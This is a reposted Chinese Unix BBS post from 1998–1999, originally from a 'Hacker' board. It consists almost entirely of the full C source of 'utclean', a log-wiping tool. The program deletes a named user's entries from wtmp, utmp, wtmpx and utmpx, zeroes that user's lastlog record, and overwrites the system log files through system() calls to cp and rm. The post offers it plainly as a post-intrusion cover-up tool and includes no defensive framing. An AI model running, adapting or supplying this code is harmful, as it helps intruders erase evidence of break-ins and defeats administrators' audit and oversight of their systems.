发信人: tcpip (俺的昵称改了), 信区: cnunix
标  题: [转载] 关于/var/adm/utmp(x),wtmp(x),lastlog (总结,即给
发信站: 哈工大紫丁香 (Sun Sep 26 14:55:57 1999), 转信

发信人: cpu (奔腾的心), 信区: Solaris
发信站: 华南网木棉站 (Thu Jun 25 14:26:35 1998), 转信

【 以下文字转载自 Hacker 讨论区 】
【 原文由 cpu 所发表 】
/*utclean.c - cleans wtmp/wtmpx/utmp/utmpx/lastlog*/
/*Usage: utclean <username> <fixthings?> [hostname]*/
/*Written by undrtaker (undtaker@xxx.xxxxxxx.xxx.xx) - drop me a line*/
/*cpu 稍事整理 */
/* * * hostname only affects wtmp/wtmpx (would u like it to utmp?)*/


#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <lastlog.h>
#include <stdio.h>
#include <pwd.h>

#define LASTLOG  /* we always clean wtmp/utmp. Lastlog and ?tmpx, up to u. */
/* #define WTMPX */

#ifdef WTMPX
#include <utmpx.h>
#endif
main(argc, argv)
    int     argc;
    char    *argv[];
{
#ifdef WTMPX
        struct utmpx utx;
#endif
        struct  lastlog l;
        int     entries = 0, removed = 0, done = 0, size, onlyhost;
        struct  utmp ut;
        struct  passwd  *p_passwd;
        uid_t   uid;
        int     fp = -1,fd = -1;
        char    *username, *host;
        if ( (argc != 3) && (argc != 4) ) {
                fprintf(stderr,
                "usage: %s <username> <fixthings> [hostname]\n",argv[0]);
                exit(2);
        }
        size = sizeof(ut);
        username = argv[1];
        if ((p_passwd = getpwnam(username)) == NULL) {
                fprintf(stderr,
                "%s doesn't exit in passwd file\n", username);
                exit(3);
        }
        uid = p_passwd->pw_uid;
        if (argc == 4) {
                host = argv[3]; onlyhost=1;
        } else
                onlyhost = 0;
        fp = open("/var/adm/wtmp", O_RDONLY);
        fd = open("wtmp.tmp", O_WRONLY|O_CREAT);
        if  (fp < 0) {
                perror("wtmp"); close(fd);
        } else if (fd < 0) {
                perror("wtmp.tmp"); close(fp);
        } else {
                while (read(fp, &ut, size) == size) {
                        if ((strncmp(ut.ut_name, username, 8)) 
                                || (onlyhost ) )
                                write(fd, &ut, size);
                        else
                                removed++;
                        entries++;
                }
                printf("\nwtmp: %i entries removed (total: %i)",
                         removed, entries);
                close(fp);
                close(fd);
        }
        entries = removed = 0;
        size = sizeof(struct utmp);
        fd = open("/etc/utmp", O_RDWR);
        if (fd < 0) perror("utmp");
        else {
                while (read(fd, &ut, size) == size) {
                        if (!strncmp(ut.ut_user, username, 8)) {
                                removed++;
                                memset(&ut, 0, size);
                                lseek(fd, -1*size, SEEK_CUR);
                                write(fd, &ut, size);
                        }
                        entries++;
                }
                close(fd);
                printf("\nutmp: %i entries removed. (total: %i)",
                        removed, entries);
        }

#ifdef LASTLOG
        entries = removed = 0;
        size = sizeof(struct lastlog);
        fd = open("/var/adm/lastlog", O_RDWR);
        if (fd < 0) perror("lastlog");
        else {
                lseek(fd, size * uid, SEEK_SET);
                read(fd, &l, size);
                l.ll_time = 0;
                strncpy(l.ll_line, "       ", 8);
                strncpy(l.ll_host, "               ", 16);
                lseek(fd, size * uid, SEEK_SET);
                write(fd, &l, size);
                close(fd);
                printf("\nlastlog: fixed");
        }
#endif
#ifdef WTMPX
        size = sizeof(utx);
        fp = open("/var/adm/wtmpx", O_RDONLY);
        fd = open("wtmpx.tmp", O_WRONLY|O_CREAT);
        if  (fp < 0) { perror("wtmpx"); close(fd); }
        else if (fd < 0) { perror("wtmpx.tmp"); close(fp); }
        else {
                while (read(fp,&utx,size)==size) {
                        if( (strncmp(utx.ut_name,username,strlen(username)))
                            || (onlyhost && (!strstr(utx.ut_host,host))) )
                                write(fd,&utx,size);
                        else removed++;
                        entries++;
                }
                printf("\nwtmpx: %i entries removed (total: %i)",
                         removed, entries);
                close(fp);
                close(fd);
        }
        entries = removed = 0;
        fd = open("/etc/utmpx", O_RDWR);
        if (fd < 0) perror("utmpx");
        else {
                while (read(fd, &utx, size) == size) {
                        if (!strncmp(utx.ut_user, username, strlen(username))) {
                                removed++;
                                memset(&utx, 0, size);
                                lseek(fd, -1*size, SEEK_CUR);
                                write(fd, &utx, size);
                        }
                        entries++;
                }
                close(fd);
                printf("\nutmpx: %i entries removed. (total: %i)",
                        removed, entries);
        }

#endif
        if(argv[2][0] == 'y'){

                chmod("./wtmp.tmp", 0666);
                chmod("./wtmpx.tmp", 0666);

                printf("\n\nold wtmp log file:\n");
                system("ls -la /var/adm/wtmp*");

                chmod("/var/adm/wtmp", 0666);
                chmod("/var/adm/wtmpx", 0666);
                system("/bin/cp  ./wtmp.tmp /var/adm/wtmp ; rm  ./wtmp.tmp");
                system("/bin/cp  ./wtmpx.tmp /var/adm/wtmpx ; rm  ./wtmpx.tmp");
                chmod("/var/adm/wtmp", 0664);
                chmod("/var/adm/wtmpx", 0000);

                printf("\nnew wtmp log file:\n");
                system("ls -la /var/adm/wtmp*");

                printf("\nfixthings: done.");
        }
        printf("\n\n...that's it. peace man :)\n\n");
}

--

        ******************************************************
                
                蓦然回首,老子已是高级战友 。。。  。。。

        ******************************************************

※ 修改:.trueip 于 Sep 26 14:59:33 修改本文.[FROM: dns.mtlab.hit.ed]
※ 来源:.华南网木棉站 bbs.gznet.edu.cn.[FROM: 202.101.248.6]
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※ 转寄:.华南网木棉站 bbs.gznet.edu.cn.[FROM: dns.mtlab.hit.ed]

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☆ 来源:.哈工大紫丁香 bbs.hit.edu.cn.[FROM: trueip.bbs@melon.gzn]
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